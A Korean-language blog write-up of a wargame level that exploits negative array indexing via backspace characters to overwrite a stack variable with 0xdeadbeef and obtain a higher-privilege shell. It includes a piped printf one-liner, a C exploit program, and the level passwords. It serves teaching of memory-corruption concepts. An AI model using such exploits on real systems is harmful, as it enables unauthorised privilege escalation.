반응형

login as : level18

password : why did you do it


C언어의 포인터를 이용하면 포인터 연산자를 이용해 메모리를 옮겨 다닐 수 있다.

 

cd tmp

vi ex.c
#include <stdio.h>

int main( )
{
	int a=10;
	int b=5;
	int c=4;
	int *pt=&c;
	int d=6;
	int e=25;
	printf("a=%d, b=%d, c=%d, d=%d, e=%d\n", *(pt+2), *(pt+1), *(pt+0), *(pt-2), *(pt-3));
}

 

예를 들어 위와 같은 코드가 있다고 했을 때

 

gcc -o ex ex.c

./ex

 

컴파일 하고 실행하면 위와 같이 출력딘다.

 

printf() 함수에서 int 타입의 a,b,c,d,e 변수를 사용하지 않고도 *pt 포인터 변수를 이용해 a,b,c,d,e 변수의 값을 출력했다.

 

낮은 주소 int e int d int *pt int c int b int a SFP RET 높은 주소
25 6 &c(=4) 4 5 10    
낮은 주소
int e 25
int d 6
int *pt &c(=4)
int c 4
int b 5
int a 10
SFP  
RET  
높은 주소

 

포인터 연산으로 각 변수의 값들을 출력할 수 있는 이유는 스택에 각 변수가 위와 같이 배치되어 있기 때문이다.

 

32bit CPU에서 모든 포인터의 크기는 4byte이기 때문에 +1을 하면, 1 * 4 = 4byte만큼을 이동하는 것이다.

 

이는 4byte 단위로 이동해야만 정확한 주소를 가리킬 수 있기 때문이다.

 


level18 문제 확인

 

 

level18 문제의 코드는 위와 같이 상당히 길다.

 

fflush : 입출력 스트림 버퍼에 데이터가 남아있을 경우 데이터를 삭제하는 것이 아닌 버퍼에 남아있는 데이터를 출력하고자 하는 목적지로 전송하는 방식으로 버퍼를 비운다.
fflush(stdout) : 버퍼에 데이터가 남아있다면 출력하여 버퍼를 비운다.
+ fflush(stdin) : 버퍼에 데이터가 남아있다면 버퍼를 비우지만, 표준이 아니거니와 권장되지 않는 사용법이다.


fd_set : 구조체 형태의 타입이다.
FD_ZERO : 매크로 함수로, fd_set 타입의 변수의 모든 비트 값을 0으로 초기화 한다.
FD_SET : 매크로 함수로, 첫 번째 인자에 있는 값을 두 번째 인자에 추가한다.
FD_ISSET : 매크로 함수로, fd_set 타입의 변수에 특정 파일 디스크립터 값이 설정되어 있는지 확인할 때 사용한다.


select() : 파일 디스크립터 집합을 이용해 파일 디스크립터의 변화를 감지하는 함수


fileno() : stream과 연관된 현재 파일 디스크립터 얻기
즉, 인자로 넘긴 파일 포인터에 매핑되는 파일 디스크립터를 얻을 수 있다.

 

 

코드를 해석해보자면 

 

1. "Enter your command: " 문자열을 출력한다.(버퍼에 남아있는 데이터가 있을 수 있으므로 fflush(stdout)으로 해당 데이터를 출력하도록 하여 버퍼를 비운다.)

2. count 변수의 값이 100 이상이면 "what are you trying to do?" 문자열을 출력한다.

3. check 변수의 값이 0xdeadbeef이면 shellout() 함수를 실행하는데, shellout() 함수는 level19 권한의 배시 셸을 실행한다.

4. check 변수의 값이 0xdeadbeef가 아니라면 fd_set 타입의 변수 fds를 FD_ZERO 매크로 함수를 이용해 0으로 초기화 시키고

FD_SET 매크로 함수를 이용해 STDIN_FILENO에 해당하는 값을 fds 변수에 추가하는데, 이는 fds 변수의 비트들 중에 STDIN_FILENO 값에 해당하는 비트에 값을 설정하는 것이다.

(STDIN_FILENO 값이 0이라고 한다면 fds 변수의 비트들 중 0번째 비트에 값을 설정하는 것이다. 즉, 키보드 입력으로 설정하는 것이다.)

 

이어서 fds 변수의 비트들 중 변화가 일어나는 게 있는지 select() 함수를 이용해 감지하도록 하고

 

변화가 발생했다면, fileno(stdin)를 이용해 가져온 파일 디스크립터 값이 fds 변수의 비트들 중 있는지 FD_ISSET() 매크로 함수로 검사하고

 

해당 파일 디스크립터 값이 있다면, read() 함수로 fileno(stdin)로 가져온 파일 디스크립터 값에 해당하는 스트림에서 1byte씩 읽어 변수 x에 저장한다.

 

그리고 switch 문으로 x의 값을 검사해 '\r', '\n', 0x08 혹은 나머지 문자들에 대해 각각 처리를 한다.

'\n' : 엔터가 입력되면 \a를 출력한다.

0x08 : count의 값을 1만큼 줄인다.

나머지 문자들 : 크기가 100인 string[] 배열에 한 글자씩 저장하고, count 변수의 값을 1만큼 증가한다.

 


메모리 구조 확인

 

 

level18 문제의 코드가 길다보니 디스어셈블리 한 결과도 위와 같이 엄청 길다.

 

하지만 알고자 하는 것은 스택의 구조이기 때문에 procedure prelude(함수 프롤로그) 부분을 보면 지역 변수의 공간으로 0x100(256)byte를 할당하는 것을 확인할 수 있다.

 

 

위의 디스어셈블리 코드를 보면 스택 메모리 공간을 어느정도 유추할 수 있다.

 

참고) 0x08048717 주소에서 0xd와 비교하는 이유

더보기

 

아스키 코드 표를 보면 0x0d는 CR이고, 이는 Carriage Return의 약어이며, '\r'을 의미한다. 

 

 

 

ebp-100 = string

ebp-104 = check

ebp-108 = x

ebp-112 = count

ebp-240 = fds

 

낮은 주소 ebp-240 ebp-112 ebp-108 ebp-104 ebp-100     높은 주소
fds count x check string[100] SFP RET
             
낮은 주소
ebp-240 fds
ebp-112 count
ebp-108 x
ebp-104 check
ebp-100 string[100]
  SFP
  RET
높은 주소

 

유추한 결과를 참고하여 level18 문제의 정확한 스택의 구조를 표로 나타내면 위와 같다.

 

위의 표를 보면 이전 bof 취약점이 있는 level에서들과는 약간 다른 스택 구조를 보인다.

 

이전 bof 취약점이 있는 level에서들은 입력값을 저장하는 용도로 사용되는 string 배열이 count 변수와 같이 조작해야 하는 변수 다음에 선언되어 있었기 때문에 bof 공격으로 쉽게 값을 바꿀 수 있었지만 이번 level18 레벨에서는 그렇지 않다.

 

그렇기 때문에 이번 level18 레벨에서는 bof를 이용한 변수값의 조작이 아닌 포인터를 조작해 변수값을 바꾸는 기법을 사용한다.


공격

낮은 주소 ebp-240 ebp-112 ebp-108 ebp-104 ebp-100     높은 주소
fds count x check string[100] SFP RET
             
낮은 주소
ebp-240 fds
ebp-112 count
ebp-108 x
ebp-104 check
ebp-100 string[100]
  SFP
  RET
높은 주소

 

이번 문제는 check 변수의 값이 0xdeadbeef이면, shellout() 함수가 실행돼 level19 권한의 shell이 떨어진다.

 

여기서 조건은 입력값이 100글자 이상이면 안되고, string이 check보다 더 큰 주소에 있기 때문에 단순한 bof 공격만으로는 변조시킬 수 없는 구조이다.

 

그리고 공격을 하기 전에 알아둬야 할 점은 바로 level18 힌트에 제시된 소스코드를 보면 이번 레벨에서 포인터를 이동시키는 키는 포인터 변수가 아닌 배열의 인덱스이다.

 

배열의 인덱스는 양의 방향으로 커져야하는데, 이 문제에서 변조해야 할 check 변수는 string 배열보다 더 작은 주소에 즉, 음의 방향에 있기 때문에 배열의 인덱스를 음의 방향으로 증가시켜야 한다는 것이다.

 

또한 포인터는 1씩 증가 혹은 감소할 때마다 4byte씩 증감하는데, 배열은 1씩 증감하면 1byte씩 증감한다.

 

하지만 문제 소스코드에서 count의 값은 0으로 초기화 되어 있고 switch문을 보면 입력한 값이 0x08이면 count의 수가 1 감소되고, 이스케이프 문자 '\b(back space)'를 출력한다.

 

그렇기 때문에 0x8을 4번 입력하면 string[-4]가 되고, 이는 check 변수의 주소를 가리키기 때문에 이를 공격 스크립트에 반영해 attackme 파일에 입력으로 보내면 된다.

 

(for i in `seq 1 4`; do printf "\x08"; done; printf "\xef\xbe\xad\xde"; cat) | ./attackme

 

read() 함수나 gets() 함수와 같이 프로그램의 인자가 아닌 키보드 입력값을 따로 전달받는 경우에는 16진수값을 전달하려면 파이프를 통해 보내야 한다.

 

그렇기 때문에 위와 같이 공격 스크립트를  짜서 파이프를 통해 attackme 파일에 입력을 하면 된다.

 

그러면 level19의 password swimming in pink를 얻을 수 있다.

 


exploit 코드(예시)

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define VICTIM					"/home/level18/attackme"
#define BACK       				0x08
#define DEFAULT_BUFFER_SIZE     256


int main(int argc, char **argv)
{
	char shAddr[BACK + 1] = "deadbeef";
	char cmdBuf[DEFAULT_BUFFER_SIZE];

	sprintf(cmdBuf, "(printf \"\\x%x\\x%x\\x%x\\x%x\\x%c%c\\x%c%c\\x%c%c\\x%c%c\"; cat) | %s",
					BACK, BACK, BACK, BACK, shAddr[6], shAddr[7], shAddr[4], shAddr[5], shAddr[2], shAddr[3], shAddr[0], shAddr[1], VICTIM);
	printf("%s\n", cmdBuf);
	system(cmdBuf);
}

 


참고글

 

fileno() - https://bubble-dev.tistory.com/entry/CC-fileno3

 

STDOUT_FILENO - https://straw961030.tistory.com/238

 

select() - https://blog.naver.com/whtie5500/221692806173

 

fd_set, FD_ZERO, FD_SET - https://blog.naver.com/tipsware/220810795410

 

fflush(stdout) - https://billnairk.tistory.com/78 , https://moolgogiheart.tistory.com/72

반응형

+ Recent posts